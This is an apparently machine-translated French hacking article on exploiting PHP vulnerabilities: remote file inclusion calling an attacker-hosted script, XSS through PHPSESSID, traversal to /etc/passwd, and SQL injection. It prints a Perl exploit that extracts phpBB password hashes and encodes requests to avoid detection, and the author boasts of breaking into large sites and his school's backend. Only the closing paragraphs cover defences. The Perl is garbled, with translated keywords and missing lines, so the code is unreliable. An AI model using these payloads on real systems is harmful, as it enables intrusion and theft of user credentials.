À en juger par la sécurité actuelle du réseau, la vulnérabilité des pages WEB qui préoccupe le plus et à laquelle tout le monde est le plus exposé devrait être ASP. À cet égard, Xiaozhu est un expert, et je n'ai pas mon mot à dire. Il existe également des vulnérabilités de sécurité très graves, mais il n'y a pas beaucoup d'articles dans ce domaine. Ici, discutons brièvement des vulnérabilités associées des pages PHP.
J'ai fait un résumé des vulnérabilités PHP courantes actuelles, qui sont grossièrement divisées dans les catégories suivantes : y compris les vulnérabilités de fichiers, les vulnérabilités d'exécution de commandes de script, les vulnérabilités de fuite de fichiers, les vulnérabilités d'injection SQL, etc. Bien sûr, comme pour certaines technologies courantes telles que Le COOKIE spoofing, je n’en parlerai pas ici, il y a beaucoup d’informations à ce sujet en ligne. Alors analysons comment exploiter ces vulnérabilités une à une !
Tout d'abord, parlons de la vulnérabilité des fichiers inclus. Cette vulnérabilité doit être considérée comme unique à PHP. Cela est dû à un traitement insuffisant des données malveillantes fournies en externe, ce qui permet à des attaquants distants d'exploiter ces vulnérabilités pour exécuter des commandes arbitraires sur le système avec le processus WEB. autorisations. Commande Regardons un exemple : Supposons qu'il existe un tel code dans a.php :
<?php
include($include."/xxx.php\");
?>
Dans ce code, $include est généralement un chemin qui a été configuré, mais nous pouvons atteindre l'objectif de l'attaque en construisant nous-mêmes un chemin. Par exemple, si nous soumettons : a.php?include=http://web/b. .php, ce site Web est l'espace que nous utilisons pour attaquer. Bien sûr, b.php est le code que nous utilisons pour attaquer. Nous pouvons écrire dans b.php quelque chose comme : passthru("/bin/ls /etc "). ; De cette façon, vous pouvez effectuer des attaques ciblées. (Remarque : le serveur Web ne doit pas être en mesure d'exécuter du code PHP, sinon des problèmes se produiront. Pour plus de détails, vous pouvez consulter < < Comment gérer les vulnérabilités courantes. dans les programmes PHP Attack >>). Au niveau de cette vulnérabilité, il existe de nombreux problèmes, par exemple : PayPal Store Front,
HotNews, Mambo Open Source, PhpDig, YABB SE, phpBB, InvisionBoard, SOLMETRA SPAW Editor, Les Visiteurs, PhpGedView, X-Cart et bien d'autres.
Examinons ensuite la vulnérabilité d'exécution des commandes de script. Cela est dû au manque de filtrage suffisant des paramètres URI soumis par les utilisateurs. La soumission de données contenant du code HTML malveillant peut déclencher une attaque de script intersite et obtenir des informations sensibles sur le site. utilisateur cible. Donnons également un exemple : la page index.php dans PHP Transparent PHP 4.3.1 ou inférieur ne dispose pas d'un filtrage suffisant de PHPSESSID. Nous pouvons atteindre le but de l'attaque grâce à un tel code :
http://web/index.php?PHPSESSID="><script>...</script >Dans les scripts, nous pouvons construire des fonctions pour obtenir certaines informations sensibles des utilisateurs. Il existe relativement peu de vulnérabilités à cet égard, sauf dans En plus de PHP Transparent, il existe : PHP-Nuke, phpBB, PHP Classifieds, PHPix, Ultimate PHP Board, etc.
Examinons ensuite la vulnérabilité de divulgation de fichiers. Cette vulnérabilité est due au manque de filtrage suffisant des paramètres soumis par l'utilisateur. Les attaquants distants peuvent l'utiliser pour mener des attaques par traversée de répertoire et obtenir des informations sensibles. Prenons comme exemple le phpMyAdmin récemment découvert. Dans phpMyAdmin, la page export.php ne filtre pas complètement le paramètre « quoi » soumis par l'utilisateur. Un attaquant distant peut contourner cela en soumettant des données contenant plusieurs caractères « ../ ». Surmontez les restrictions WEB ROOT et affichez toutes les informations de fichiers sur le système avec les autorisations WEB. Par exemple, saisir une telle adresse : export.php?what=../../../../../.. /etc/passwd%00 peut atteindre l'objectif de fuite de fichiers à cet égard. est relativement Il y en a plus : myPHPNuke, McNews, etc.
Enfin, nous revenons à l'endroit le plus excitant. Pensez à quel point il est amusant d'utiliser l'injection SQL dans les pages asp. Dans le passé, nous devions injecter manuellement jusqu'à ce que Xiaozhu réalise le "livre secret de l'injection SQL" (hehe), puis. après avoir développé NBSI, notre Alliance NB a vraiment fait une grande différence. Nous avons successivement aidé CSDN, Monopoly Forum, China Channel et d'autres grands sites internet à trouver des failles (je ne vais pas entrer dans d'autres bêtises à ce sujet, c'est un peu hors sujet. .. ). Revenons au sujet. En fait, l'injection SQL en asp est à peu près la même que l'injection SQL en php. Faites juste un peu attention aux fonctions utilisées. Changez asc en ASCII, len en LENGTH, et autres. La fonction est restée fondamentalement inchangée. En fait, quand tout le monde voit l'injection SQL dans PHP, pense-t-il à PHP-NUKE et PHPBB ? Oui, comme le dit le proverbe, les forums comme Dongwang devraient être le roi des failles dans le monde ASP ? Cela ne veut pas dire que la sécurité de son forum est trop mauvaise, mais qu'il est trop connu. Plus d'autres l'utilisent, plus de personnes feront des recherches et plus de failles de sécurité seront découvertes. La même chose est vraie pour PHPBB. , qui est très populaire actuellement. Lorsque la plupart des gens utilisent PHP pour créer des forums, ils choisissent généralement PHPBB. Ses vulnérabilités apparaissent également constamment, depuis les premières vulnérabilités découvertes dans la version phpBB 1.4.0 de phpBB.com jusqu'à la récente version phpBB 2.0. .6 de groupcp .php, et les search.php, profile.php, viewtopic.php, etc. découverts précédemment totalisent environ une douzaine. Cela a toujours conduit certaines personnes à l'utiliser comme produit expérimental lors de l'étude des vulnérabilités PHP. . Comme le dit le proverbe, la pratique vous rend parfait, je pense que PHPBB s'améliorera à l'avenir.
Bon, analysons la cause de la vulnérabilité. Prenons l'exemple de la page viewtopic.php. Lors de l'appel de viewtopic.php, le "topic_id" est obtenu directement à partir de la requête GET et transmis à la commande de requête SQL, et sans aucun filtrage. , l'attaquant peut soumettre une chaîne SQL spéciale pour obtenir le mot de passe MD5. Ces informations de mot de passe peuvent être utilisées pour une connexion automatique ou un craquage par force brute. (Je ne pense pas que quiconque voudrait faire du cracking par force brute, à moins qu'il n'y ait une raison particulièrement importante). Jetons d'abord un coup d'œil au code source concerné :
# si ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
# {
# $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
# }
# sinon si ( isset($HTTP_GET_VARS['topic']) )
# {
# $topic_id = intval($HTTP_GET_VARS['topic']);
# }
De ce qui précède, nous pouvons voir que si le view=newest et sid sont définis sur une valeur, le code de requête exécuté ressemble à ce qui suit (si vous n'avez pas vu le code source de PHPBB, je vous suggère de le lire puis de venir ici Regardez, les systèmes concernés sont : phpBB 2.0.5 et phpBB 2.0.4).
# $sql = "select p.post_id).
# FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
# où s.session_id = '$session_id'
# ET u.user_id = s.session_user_id
# ET p.topic_id = $topic_id
# ET p.post_time >= u.user_lastvisit
# COMMANDE PAR p.post_time ASC
# LIMIT 1";
Rick a fourni le code de test suivant :
use IO::Socket;
$remote = décalage || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = décalage || 2;
$port = 80 ;
$dbtype = 'mysql4'; # mysql4 ou pgsql
print "Essayer d'obtenir le hachage du mot de passe pour l'uid $uid server $remote dbtype: $dbtypen";
$p = "";
pour($index=1; $index<=32; $index++) {
$socket = IO::Socket::INET->new(PeerAddr => $remote,
PeerPort => $port,
Proto => "tcp",
Tapez => SOCK_STREAM)
ou mourir "Impossible de se connecter à $remote:$port :$@n";
$str = "GET $view_topic" . "?sid=1&topic_id=-1" .
imprimer $socket $str;
print $socket "Cookie: phpBB2mysql_sid=1n" # remplacez-le par pgsql ou supprimez-le
print $socket "Hôte : $remotenn";
while ($réponse = <$socket>) {
if ($answer =~ /location:.*x23(d+)/) # Correspond à l'emplacement : viewtopic.php?p=<num>#<num> {
$p .= chr ();
}
}
fermer($socket);
}
print "nLe hachage MD5 pour l'uid $uid est $pn";
# l'encodage aléatoire permet d'éviter la détection.
sous random_encode {
$str = décalage ;
$ret = "";
pour($i=0; $i<longueur($str); $i++) {
$c = substr($str,$i,1);
$j = rand longueur ($str) * 1000 ;
si (int($j) % 2 || $c eq ' ') {
$ret .= "%" . sprintf("%x",ord($c));
} autre {
$ret .= $c;
}
}
retourner $ret ;
}
sous make_dbsql {
si ($dbtype eq 'mysql4') {
return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users où user_id=$uid/*" ;
} elsif ($dbtype eq 'pgsql') {
return "; sélectionnez ascii(substring(user_password from $index for 1)) comme post_id depuis phpbb_posts p, phpbb_users u où u.user_id=$uid ou false";
} autre {
retour "";
}
}
Je n'expliquerai pas grand-chose sur ce code cassé. La fonction consiste à obtenir la valeur HASH.
En voyant cela, vous vous demandez peut-être pourquoi les fonctions modifiées que j'ai mentionnées plus tôt ne sont pas utilisées. Je n'ai pas peur de faire rire les gens quand je leur dis : en fait, les instructions de requête de certaines pages de nombreux sites sur Internet auront l'air. comme ça:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
Ne riez pas, c'est vrai. J'ai utilisé cela pour accéder à plusieurs grands sites Web. Quant à lesquels, c'est difficile à dire, mais pour le site Web de notre école, je l'ai utilisé pour accéder au backend (j'espère que le centre du réseau de l'école le pourra). je ne le vois pas) Cet article, ^_^). Utilisez la fonction précédente, sinon vous devrez changer les mots de passe des autres !!!
J'ai presque oublié que PHP est différent d'ASP en ce qui concerne l'injection SQL. MySQL n'est pas aussi flexible que MSSQL dans l'utilisation des instructions SQL. Par conséquent, de nombreuses instructions de requête pouvant être utilisées dans MSSQL ne fonctionneront pas dans la base de données MySQL. Les instructions d'injection courantes ressemblent à ceci : aaa.php?id=a' dans le fichier de sortie 'pass.txt ou aaa.php?id=a' dans le fichier de sortie 'pass.txt' /*Il peut être modifié en : aaa.php? id=a' ou 1=1 union select id,name,password form user in outfile 'c:/a.txt De cette façon, vous pouvez exporter les données de la base de données vers un fichier, puis les visualiser.
Ou comme ceci : mode=',user_level='4
Cette instruction est généralement utilisée lors de la modification des données. S'il existe une vulnérabilité dans la page, elle peut avoir pour effet d'élever les autorisations.
D'autres tels que 'OR 1=1 -- or: 1' ou 1='1 sont similaires à asp. Je n'entrerai pas dans les détails ici. En PHP, l'injection SQL semble être la vulnérabilité numéro un. pages. C'est le problème.
En fait, vous pouvez constater qu'il n'y a qu'une seule raison aux classifications ci-dessus : les paramètres soumis ne sont pas filtrés ou le filtrage n'est pas assez rigoureux. Les lignes de défense des hackers ont toujours été à la fois offensives et défensives. Parlons ici de la prévention. méthodes en général.Tout
d'abord, je pense personnellement que c'est le plus important. La chose la plus importante est de définir magic_quotes_gpc sur ON. Sa fonction est de convertir les guillemets simples, les guillemets doubles, les barres obliques inverses et les caractères nuls en caractères contenant des barres obliques inverses, tels que. select * from admin which username='$username' and password ='$password', l'attaquant veut utiliser 1' ou 1='1 pour ignorer la vérification, mais ces chaînes seront converties en ceci : select * from admin Where username='a' et password='1' ou 1='1' pour atteindre l'objectif d'empêcher l'injection. En fait, l'opération addlashes() est automatiquement effectuée. Si cela ne fonctionne pas, définissez votre propre fonction. Il semble maintenant que ceux qui se lancent dans l'injection PHP soient également relativement déprimés, car les versions inférieures à myslq4 ne prennent pas en charge les sous-instructions et les nouvelles versions de MySQL activeront par défaut l'option magic_quotes_gpc.
La méthode pour résoudre la vulnérabilité du fichier d'inclusion consiste à demander aux programmeurs d'essayer de ne pas utiliser de variables pour les paramètres dans les fichiers d'inclusion. Si des variables sont utilisées, les noms de fichiers à inclure doivent être strictement vérifiés et ne doivent pas être spécifiés arbitrairement par l'utilisateur. Il est recommandé de désactiver global_variables. Par exemple, limiter le chemin des opérations PHP lors de l’ouverture précédente du fichier est une option nécessaire. De plus, sauf nécessité contraire, assurez-vous de désactiver la fonction d'ouverture de fichiers à distance de PHP. Modifiez le fichier php.ini : allow_url_fopen = Off (Remarque : Voir <<Problèmes de sécurité PHP : Débordement à distance, DoS, Vulnérabilités de contournement Safe_mode>>).